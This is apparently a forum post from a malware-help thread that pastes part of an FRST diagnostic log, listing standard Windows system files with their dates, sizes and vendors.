2017-03-18 22:58 - 2017-03-18 22:58 - 00172032 _____ (Microsoft Corporation) C:\windows\SysWOW64\WinSCard.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00170912 _____ (Microsoft Corporation) C:\windows\SysWOW64\basecsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00170912 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ksecpkg.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00170496 _____ (Microsoft Corporation) C:\windows\SysWOW64\mdmregistration.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00170496 _____ (Microsoft Corporation) C:\windows\system32\twext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00169984 _____ (Microsoft Corporation) C:\windows\SysWOW64\modemui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00169472 _____ (Microsoft Corporation) C:\windows\SysWOW64\netiohlp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00169472 _____ (Microsoft Corporation) C:\windows\system32\mssph.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00169472 _____ (Microsoft Corporation) C:\windows\system32\cryptnet.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00169448 _____ (Microsoft Corporation) C:\windows\SysWOW64\rometadata.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00168448 _____ (Microsoft Corporation) C:\windows\system32\desk.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00168448 _____ (Microsoft Corporation) C:\windows\system32\AuthBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00168352 _____ (Microsoft Corporation) C:\windows\SysWOW64\wermgr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00167936 _____ (Microsoft Corporation) C:\windows\SysWOW64\wevtutil.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00167640 _____ C:\windows\SysWOW64\chs_singlechar_pinyin.dat
2017-03-18 22:58 - 2017-03-18 22:58 - 00167640 _____ C:\windows\system32\chs_singlechar_pinyin.dat
2017-03-18 22:58 - 2017-03-18 22:58 - 00167424 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.SerialCommunication.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00167424 _____ (Microsoft Corporation) C:\windows\system32\MdmCommon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00166912 _____ (Microsoft Corporation) C:\windows\system32\rdsdwmdr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00166400 _____ (Microsoft Corporation) C:\windows\SysWOW64\devicengccredprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00166400 _____ (Microsoft Corporation) C:\windows\SysWOW64\desk.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00166304 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Management.Workplace.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00165888 _____ (Microsoft Corporation) C:\windows\SysWOW64\windowslivelogin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00165888 _____ (Microsoft Corporation) C:\windows\system32\storewuauth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00165888 _____ (Microsoft Corporation) C:\windows\system32\mydocs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00165376 _____ (Microsoft Corporation) C:\windows\SysWOW64\wuceffects.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00165376 _____ (Microsoft Corporation) C:\windows\system32\wmidcom.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00165376 _____ (Microsoft Corporation) C:\windows\system32\cabview.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00164864 _____ (Microsoft Corporation) C:\windows\SysWOW64\ocsetapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00164864 _____ (Microsoft Corporation) C:\windows\SysWOW64\netprofm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00164864 _____ (Microsoft Corporation) C:\windows\system32\msaatext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00164864 _____ (Microsoft Corporation) C:\windows\system32\credprovslegacy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00164352 _____ (Microsoft Corporation) C:\windows\SysWOW64\scrrun.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00164352 _____ (Microsoft Corporation) C:\windows\SysWOW64\rtm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00164352 _____ (Microsoft Corporation) C:\windows\system32\wscript.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00163840 _____ (Microsoft Corporation) C:\windows\system32\cscript.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00163328 _____ (Microsoft Corporation) C:\windows\SysWOW64\perfmon.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00163328 _____ (Microsoft Corporation) C:\windows\SysWOW64\enrollmentapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00163328 _____ (Microsoft Corporation) C:\windows\system32\glu32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00163328 _____ (Microsoft Corporation) C:\windows\system32\autoplay.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00162304 _____ (Microsoft Corporation) C:\windows\SysWOW64\LicensingDiagSpp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00162304 _____ (Microsoft Corporation) C:\windows\system32\ProximityCommon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00162304 _____ (Microsoft Corporation) C:\windows\system32\Drivers\tunnel.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00161792 _____ (Microsoft Corporation) C:\windows\SysWOW64\mdminst.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00161792 _____ (Microsoft Corporation) C:\windows\SysWOW64\itircl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00160256 _____ (Microsoft Corporation) C:\windows\SysWOW64\msorcl32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00160256 _____ (Microsoft Corporation) C:\windows\system32\dmcertinst.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00159744 _____ (Microsoft Corporation) C:\windows\SysWOW64\cic.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00159232 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.SystemManagement.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00159232 _____ (Microsoft Corporation) C:\windows\system32\gamingtcui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00158720 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Scanners.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00158720 _____ (Microsoft Corporation) C:\windows\system32\softkbd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00158720 _____ (Microsoft Corporation) C:\windows\system32\LockScreenContent.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00158720 _____ (Microsoft Corporation) C:\windows\system32\fde.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00158208 _____ (Microsoft Corporation) C:\windows\SysWOW64\fms.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00157696 _____ (Microsoft Corporation) C:\windows\SysWOW64\rpchttp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00157184 _____ (Microsoft Corporation) C:\windows\SysWOW64\keymgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00157184 _____ (Microsoft Corporation) C:\windows\system32\WsmAuto.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00157184 _____ (Microsoft Corporation) C:\windows\system32\credprovs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00156672 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDeviceRegistration.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00156672 _____ (Microsoft Corporation) C:\windows\SysWOW64\sdiagprv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00156672 _____ (Microsoft Corporation) C:\windows\SysWOW64\mydocs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00156672 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Haptics.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00156672 _____ (Microsoft Corporation) C:\windows\system32\SimAuth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00156672 _____ (Microsoft Corporation) C:\windows\system32\CallHistoryClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00156160 _____ (Microsoft Corporation) C:\windows\SysWOW64\ReInfo.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00156160 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppxSip.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00156160 _____ (Microsoft Corporation) C:\windows\system32\csplte.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00155136 _____ (Microsoft Corporation) C:\windows\SysWOW64\msaudite.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00154624 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsRasterService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00154624 _____ (Microsoft Corporation) C:\windows\SysWOW64\rgb9rast.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00154624 _____ (Microsoft Corporation) C:\windows\SysWOW64\PersonaX.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00154624 _____ (Microsoft Corporation) C:\windows\SysWOW64\nlmgp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00154624 _____ (Microsoft Corporation) C:\windows\SysWOW64\DWWIN.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00154624 _____ (Microsoft Corporation) C:\windows\system32\regsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00154560 _____ (Microsoft Corporation) C:\windows\system32\userenv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00154488 _____ (Microsoft Corporation) C:\windows\SysWOW64\CloudStorageWizard.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00154112 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3d10_1.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00154112 _____ (Microsoft Corporation) C:\windows\system32\UserDeviceRegistration.Ngc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00154112 _____ (Microsoft Corporation) C:\windows\system32\Family.Client.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00153600 _____ (Microsoft Corporation) C:\windows\SysWOW64\sbeio.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00153600 _____ (Microsoft Corporation) C:\windows\system32\MtcModel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00153600 _____ (Microsoft Corporation) C:\windows\system32\dosettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00153504 _____ (Microsoft Corporation) C:\windows\SysWOW64\RTWorkQ.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00153088 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Energy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00153088 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingMonitor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00153088 _____ (Microsoft Corporation) C:\windows\system32\fdeploy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00152576 _____ (Microsoft Corporation) C:\windows\SysWOW64\L2SecHC.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00152576 _____ (Microsoft Corporation) C:\windows\system32\winjson.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00152576 _____ (Microsoft Corporation) C:\windows\system32\RMapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00152440 _____ (Microsoft Corporation) C:\windows\SysWOW64\ntmarta.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00152064 _____ (Microsoft Corporation) C:\windows\SysWOW64\cabview.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00152064 _____ (Microsoft Corporation) C:\windows\system32\wiadss.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151992 _____ (Microsoft Corporation) C:\windows\system32\KerbClientShared.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151968 _____ (Microsoft Corporation) C:\windows\SysWOW64\ulib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151968 _____ (Microsoft Corporation) C:\windows\system32\SystemSettings.SettingsExtensibility.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151928 _____ (Microsoft Corporation) C:\windows\system32\dssenh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151552 _____ (Microsoft Corporation) C:\windows\SysWOW64\wincredui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151552 _____ (Microsoft Corporation) C:\windows\system32\BrowserSettingSync.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151456 _____ (Microsoft Corporation) C:\windows\system32\devobj.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151040 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmitomi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151040 _____ (Microsoft Corporation) C:\windows\SysWOW64\nlhtml.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151040 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdadiag.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151040 _____ (Microsoft Corporation) C:\windows\SysWOW64\ETWCoreUIComponentsResources.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151040 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmvdsitf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00151040 _____ (Microsoft Corporation) C:\windows\SysWOW64\autoplay.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00150528 _____ (Microsoft Corporation) C:\windows\SysWOW64\iscsicli.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00150016 _____ (Microsoft Corporation) C:\windows\system32\winbio.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00150016 _____ (Microsoft Corporation) C:\windows\system32\Mystify.scr
2017-03-18 22:58 - 2017-03-18 22:58 - 00149504 _____ (Microsoft Corporation) C:\windows\SysWOW64\itss.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00149504 _____ (Microsoft Corporation) C:\windows\system32\socialapis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00149504 _____ (Microsoft Corporation) C:\windows\system32\MapsBtSvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00149504 _____ (Microsoft Corporation) C:\windows\system32\dssvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00149019 _____ (Microsoft Corporation) C:\windows\SysWOW64\crtdll.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00148992 _____ (Microsoft Corporation) C:\windows\SysWOW64\twext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00148992 _____ (Microsoft Corporation) C:\windows\system32\Ribbons.scr
2017-03-18 22:58 - 2017-03-18 22:58 - 00148992 _____ (Microsoft Corporation) C:\windows\system32\Dsui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00148480 _____ (Microsoft Corporation) C:\windows\SysWOW64\diskpart.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00147968 _____ (Microsoft Corporation) C:\windows\system32\appsruprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00147872 _____ (Microsoft Corporation) C:\windows\system32\dwmapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00147456 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.Core.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00147456 _____ (Microsoft Corporation) C:\windows\SysWOW64\VCardParser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00147456 _____ (Microsoft Corporation) C:\windows\SysWOW64\dsprop.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00146944 _____ (Microsoft Corporation) C:\windows\SysWOW64\wscript.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00146944 _____ (Intel Corporation) C:\windows\SysWOW64\ivfsrc.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00146776 _____ (Microsoft Corporation) C:\windows\system32\Clipc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00146432 _____ (Microsoft Corporation) C:\windows\SysWOW64\MicrosoftAccountTokenProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00146432 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.Sockets.PushEnabledApplication.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00145920 _____ (Microsoft Corporation) C:\windows\SysWOW64\MCCSEngineShared.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00145622 _____ C:\windows\SysWOW64\devmgmt.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00145519 _____ C:\windows\SysWOW64\perfmon.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00145408 _____ (Microsoft Corporation) C:\windows\SysWOW64\Cortana.Persona.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00145408 _____ (Microsoft Corporation) C:\windows\system32\tdlrecover.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00145408 _____ (Microsoft Corporation) C:\windows\system32\AppointmentActivation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00145127 _____ C:\windows\SysWOW64\eventvwr.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00145059 _____ C:\windows\SysWOW64\taskschd.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00144998 _____ C:\windows\SysWOW64\lusrmgr.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00144998 _____ C:\windows\system32\lusrmgr.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00144909 _____ C:\windows\SysWOW64\fsmgmt.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00144896 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.HostName.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00144862 _____ C:\windows\SysWOW64\tpm.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00144384 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Profile.RetailInfo.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00144176 _____ (Microsoft Corporation) C:\windows\system32\omadmapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00143360 _____ (Microsoft Corporation) C:\windows\SysWOW64\easwrt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00143360 _____ (Microsoft Corporation) C:\windows\system32\EDPCleanup.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00143080 _____ (Microsoft Corporation) C:\windows\system32\acmigration.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00142904 _____ C:\windows\SysWOW64\slmgr.vbs

Twix. 06.06.2017 11:44
FRST6:
Code:
2017-03-18 22:58 - 2017-03-18 22:58 - 00142848 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Radios.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00142848 _____ (Microsoft Corporation) C:\windows\SysWOW64\prntvpt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00142848 _____ (Microsoft Corporation) C:\windows\SysWOW64\cscript.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00142848 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Lights.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00142848 _____ (Microsoft Corporation) C:\windows\system32\dwmredir.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00141824 _____ (Microsoft Corporation) C:\windows\SysWOW64\credprovslegacy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00141824 _____ (Microsoft Corporation) C:\windows\system32\srpapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00141312 _____ (Microsoft Corporation) C:\windows\SysWOW64\uudf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00141136 _____ (Microsoft Corporation) C:\windows\system32\bcrypt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00141104 _____ (Microsoft Corporation) C:\windows\system32\ncrypt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00140800 _____ (Microsoft Corporation) C:\windows\SysWOW64\WsmAuto.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00140800 _____ (Microsoft Corporation) C:\windows\SysWOW64\net1.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00140800 _____ (Microsoft Corporation) C:\windows\system32\wshom.ocx
2017-03-18 22:58 - 2017-03-18 22:58 - 00140800 _____ (Microsoft Corporation) C:\windows\system32\oleprn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00140800 _____ (Microsoft Corporation) C:\windows\system32\dmcsps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00140704 _____ (Microsoft Corporation) C:\windows\system32\ConsentUX.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00140288 _____ (Microsoft Corporation) C:\windows\SysWOW64\BluetoothApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00140288 _____ (Microsoft Corporation) C:\windows\system32\shacct.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00139776 _____ (Microsoft Corporation) C:\windows\SysWOW64\mssph.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00139776 _____ (Microsoft Corporation) C:\windows\SysWOW64\fundisc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00139776 _____ (Microsoft Corporation) C:\windows\system32\CfgSPPolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138752 _____ (Windows (R) Win 7 DDK provider) C:\windows\SysWOW64\DscCoreConfProv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138752 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.WiFi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138752 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbctrac.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138752 _____ (Microsoft Corporation) C:\windows\SysWOW64\netjoin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138752 _____ (Microsoft Corporation) C:\windows\SysWOW64\MicrosoftAccountWAMExtension.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138752 _____ (Microsoft Corporation) C:\windows\SysWOW64\dhcpsapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138752 _____ (Microsoft Corporation) C:\windows\system32\DMPushRouterCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138656 _____ (Microsoft Corporation) C:\windows\SysWOW64\CloudExperienceHostUser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138240 _____ (Microsoft Corporation) C:\windows\SysWOW64\VBICodec.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00138240 _____ (Microsoft Corporation) C:\windows\SysWOW64\playtomenu.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138240 _____ (Microsoft Corporation) C:\windows\SysWOW64\glu32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138240 _____ (Microsoft Corporation) C:\windows\system32\VEDataLayerHelpers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138240 _____ (Microsoft Corporation) C:\windows\system32\edpcsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138240 _____ (Microsoft Corporation) C:\windows\system32\DataUsageLiveTileTask.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00138000 _____ C:\windows\system32\InputHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00137728 _____ (Microsoft Corporation) C:\windows\SysWOW64\oledlg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00137728 _____ (Microsoft Corporation) C:\windows\SysWOW64\dialclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00137728 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppExtension.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00137728 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.NetworkOperators.HotspotAuthentication.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00137728 _____ (Microsoft Corporation) C:\windows\system32\IDStore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00137216 _____ (Microsoft Corporation) C:\windows\system32\raschap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00136704 _____ (Microsoft Corporation) C:\windows\SysWOW64\ufat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00136704 _____ (Microsoft Corporation) C:\windows\system32\verifier.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00136192 _____ (Microsoft Corporation) C:\windows\system32\Docking.VirtualInput.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00136096 _____ (Microsoft Corporation) C:\windows\SysWOW64\uxlib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00135680 _____ (Microsoft Corporation) C:\windows\SysWOW64\qasf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00135680 _____ (Microsoft Corporation) C:\windows\SysWOW64\credprovs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00135680 _____ (Microsoft Corporation) C:\windows\system32\sendmail.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00135680 _____ (Microsoft Corporation) C:\windows\system32\edpauditapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00135440 _____ (Microsoft Corporation) C:\windows\SysWOW64\winmm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00135168 _____ (Microsoft Corporation) C:\windows\SysWOW64\softkbd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00135168 _____ (Microsoft Corporation) C:\windows\SysWOW64\mskeyprotcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00135168 _____ (Microsoft Corporation) C:\windows\SysWOW64\DisplayManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00135168 _____ (Microsoft Corporation) C:\windows\SysWOW64\cryptnet.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00135168 _____ (Microsoft Corporation) C:\windows\system32\UvcModel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00134656 _____ (Microsoft Corporation) C:\windows\SysWOW64\iasrecst.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00134656 _____ (Microsoft Corporation) C:\windows\SysWOW64\dinput.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00134656 _____ (Microsoft Corporation) C:\windows\system32\WinSyncProviders.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00134656 _____ (Microsoft Corporation) C:\windows\system32\mdmmigrator.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00133904 _____ (Microsoft Corporation) C:\windows\SysWOW64\WerFaultSecure.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00133632 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmidcom.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00133632 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbgcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00133632 _____ (Microsoft Corporation) C:\windows\system32\wificonnapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00133632 _____ (Microsoft Corporation) C:\windows\system32\wcmapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00133632 _____ (Microsoft Corporation) C:\windows\system32\CfgSPCellular.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00133320 _____ (Microsoft Corporation) C:\windows\SysWOW64\userenv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00133120 _____ (Microsoft Corporation) C:\windows\SysWOW64\t2embed.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00133120 _____ (Microsoft Corporation) C:\windows\SysWOW64\prncache.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00132840 _____ (Microsoft Corporation) C:\windows\SysWOW64\dssenh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00132608 _____ (Microsoft Corporation) C:\windows\SysWOW64\PortableDeviceSyncProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00132608 _____ (Microsoft Corporation) C:\windows\SysWOW64\CastingShellExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00132608 _____ (Microsoft Corporation) C:\windows\system32\VoipRT.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00132096 _____ (Microsoft Corporation) C:\windows\SysWOW64\WinRtTracing.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00132096 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDeviceRegistration.Ngc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00132096 _____ (Microsoft Corporation) C:\windows\SysWOW64\Microsoft.Bluetooth.Profiles.Gatt.Interface.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00132096 _____ (Microsoft Corporation) C:\windows\SysWOW64\fsquirt.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00132096 _____ (Microsoft Corporation) C:\windows\SysWOW64\CallHistoryClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00131784 _____ (Microsoft Corporation) C:\windows\SysWOW64\devobj.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00131584 _____ (Microsoft Corporation) C:\windows\system32\PrintWSDAHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00131584 _____ (Microsoft Corporation) C:\windows\system32\networkhelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00131584 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseAPNCsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00131072 _____ (Microsoft Corporation) C:\windows\SysWOW64\globinputhost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00130560 _____ (Microsoft Corporation) C:\windows\system32\rshx32.dll
